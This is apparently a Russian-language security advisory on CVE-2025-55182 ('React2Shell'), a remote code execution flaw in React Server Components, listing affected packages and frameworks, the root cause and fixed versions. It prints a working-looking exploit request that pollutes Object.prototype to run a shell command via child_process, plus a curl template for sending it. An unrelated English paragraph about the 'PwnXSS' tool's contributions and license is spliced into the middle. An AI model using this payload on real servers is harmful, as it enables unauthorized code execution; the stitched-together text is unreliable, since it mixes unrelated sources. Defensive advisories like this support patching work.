
"Один сконструированный HTTP-запрос может скомпрометировать весь ваш сервер." — React Security Team, Dec 2025
Серьезность: КРИТИЧЕСКАЯ | CVSS v3.1: 10.0 (Максимум) | Статус: Активно эксплуатируется
React2Shell — это критическая уязвимость безопасности в React Server Components (RSC) — современной функции, позволяющей React выполнять части вашего веб-приложения на сервере вместо браузера.
Уязвимость позволяет любому злоумышленнику в интернете — без логина, без специального доступа и без предварительных знаний о вашей системе — отправить один вредоносный HTTP-запрос на ваш сервер и выполнить на нем любой код. Это означает, что они могут украсть данные, установить вредоносное ПО, заблокировать ваши файлы с помощью программ-вымогателей или полностью захватить контроль над сервером.
Представьте это так: на вашем сервере есть дверь, которая должна была открываться только для доверенных посетителей, но оказывается, что любой может войти — просто постучав определенным образом.
| Свойство | Значение |
|---|---|
| Идентификатор CVE | CVE-2025-55182 (также называется React2Shell) |
| Серьезность | Критический — Удаленное выполнение кода (RCE) |
| Оценка CVSS v3.1 | 10.0 / 10.0 (максимально возможная) |
| Оценка CVSS v4 | 9.3 / 10.0 |
| Тип уязвимости | CWE-502 — Десериализация недоверенных данных |
| Метод атаки | Один HTTP POST-запрос, без аутентификации |
| Обнаружено | Lachlan Davidson (исследователь безопасности) |
| Раскрыто | 3 декабря 2025 г. |
| Статус эксплойта | Общедоступный эксплойт — активно используется злоумышленниками |
| Связанный CVE | CVE-2025-66478 (Next.js — подтвержденный дубликат) |
react-server-dom-webpack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-parcel — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-turbopack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0
### Пострадавшие фреймворки
| Фреймворк / Инструмент | Затрагиваемая область |
|----------------------------------|------------------------------------------------------------|
| **Next.js 15.x – 16.x** | Только App Router — Pages Router **НЕ** затрагивается |
| **React Router RSC** | Только нестабильный / предварительный канал |
| **Redwood SDK** | Только режим RSC |
| **Waku** | Все версии с включенным RSC |
| **Expo** | Только предварительные сборки RSC |
| **Vite RSC Plugin** | Все интеграции |
| **Parcel RSC Plugin** | Все интеграции |
| **Любая пользовательская настройка RSC** | Любой сервер, использующий десериализацию RSC Flight |
> ⚠️ **Важно:** Вы уязвимы, даже если не используете Server Actions или Server Functions явно — если в вашем приложении включены React Server Components.
> ✅ **Не затрагиваются:** Приложения, использующие только Pages Router, или приложения без серверного React вообще.
---
## Почему это так опасно?
Три причины делают React2Shell исключительно серьёзным:
1. **Не требуется аутентификация.** Любой пользователь интернета может попытаться провести эту атаку. Не нужно ни аккаунта, ни токена, ни предварительного доступа.
2. **Работает на установках по умолчанию.** Новое приложение Next.js, созданное с помощью `create-next-app` — без каких-либо настроек — сразу же уязвимо. Разработчикам не нужно делать ничего неправильного, чтобы оказаться уязвимыми.
3. **Почти 100% надёжность.** Исследователи безопасности подтвердили, что эксплойт срабатывает почти каждый раз на незаплаченных серверах.
---
## Как работает атака?
### Корневая причина — простыми словами
Когда ваш сервер React получает данные от клиента, он обрабатывает (десериализует) эти данные, чтобы понять, что делать дальше. Проблема в том, что React **никогда не проверяет, безопасны ли эти данные или легитимны** — он слепо доверяет всему, что приходит.
Злоумышленник использует это, отправляя специально подготовленные данные, которые перехватывают внутреннее поведение JavaScript на сервере, что в конечном итоге позволяет ему внедрить и выполнить свой собственный код.
### Техническое объяснение
Эксплойт использует технику, называемую **загрязнение прототипов (prototype pollution)**:
1. Злоумышленник отправляет специально сформированный HTTP POST-запрос на любую конечную точку RSC (не требуется специального URL).
2. Парсер протокола React Flight обрабатывает полезную нагрузку без какой-либо структурной проверки.
3. Вредоносная полезная нагрузка загрязняет `Object.prototype.then` — фундаментальный объект JavaScript, от которого наследуют все остальные объекты.
4. Это даёт злоумышленнику доступ к конструктору `Function` JavaScript.
5. Злоумышленник использует конструктор `Function` для выполнения произвольного кода от имени серверного процесса Node.js.```
Step 1 — Attacker sends crafted HTTP POST
↓
Step 2 — React deserializes payload blindly
↓
Step 3 — Object.prototype.then is hijacked (prototype pollution)
↓
Step 4 — Function constructor is accessed
↓
Step 5 — Attacker's code runs on the server
↓
Step 6 — Attacker has full server control
// This is a simplified version of the vulnerable code path inside React function parseFlightRequest(req) { const flight = req.body;
// ❌ NO validation — the server trusts whatever arrives
const decoded = dangerousDeserialize(flight); // Attack happens here
// If the attacker controls decoded.action → RCE
return executeServerReference(decoded.action);
}
### Как выглядит атака```http
POST /?flight=1 HTTP/1.1
Content-Type: text/plain
{
"status": "resolved_model",
"$1:__proto__:then": "node:process.mainModule.require('child_process').execSync('id > /tmp/rce')",
"_formData.get": "$1:constructor:constructor"
}
If you are interested in modifying or contributing to the PwnXSS tool, you are welcome to do so. Please fork the repository, make your changes, and submit a pull request. We appreciate contributions that improve the tool's functionality, fix bugs, or enhance its documentation.
PwnXSS is released under the MIT License. See the LICENSE file for more details.
This tool is intended for educational purposes and authorized security testing only. The developers are not responsible for any misuse or illegal activities conducted with this tool.```bash
curl -X POST https://target.com/react?flight=1
-H "Content-Type: text/plain"
--data '["$ACTION_REF","proto","constructor","<attacker_payload>"]'
> 🚫 **Юридическое предупреждение:** Не используйте это против любой системы, которой вы не владеете или на тестирование которой у вас нет явного письменного разрешения.
---
## Исправленные версии — Обновитесь сейчас
### Пакеты React RSC
| Пакет | Исправленная версия |
|------------------------------|------------------------------|
| `react-server-dom-webpack` | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-parcel` | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-turbopack` | 19.0.1, 19.1.2, **19.2.1+** |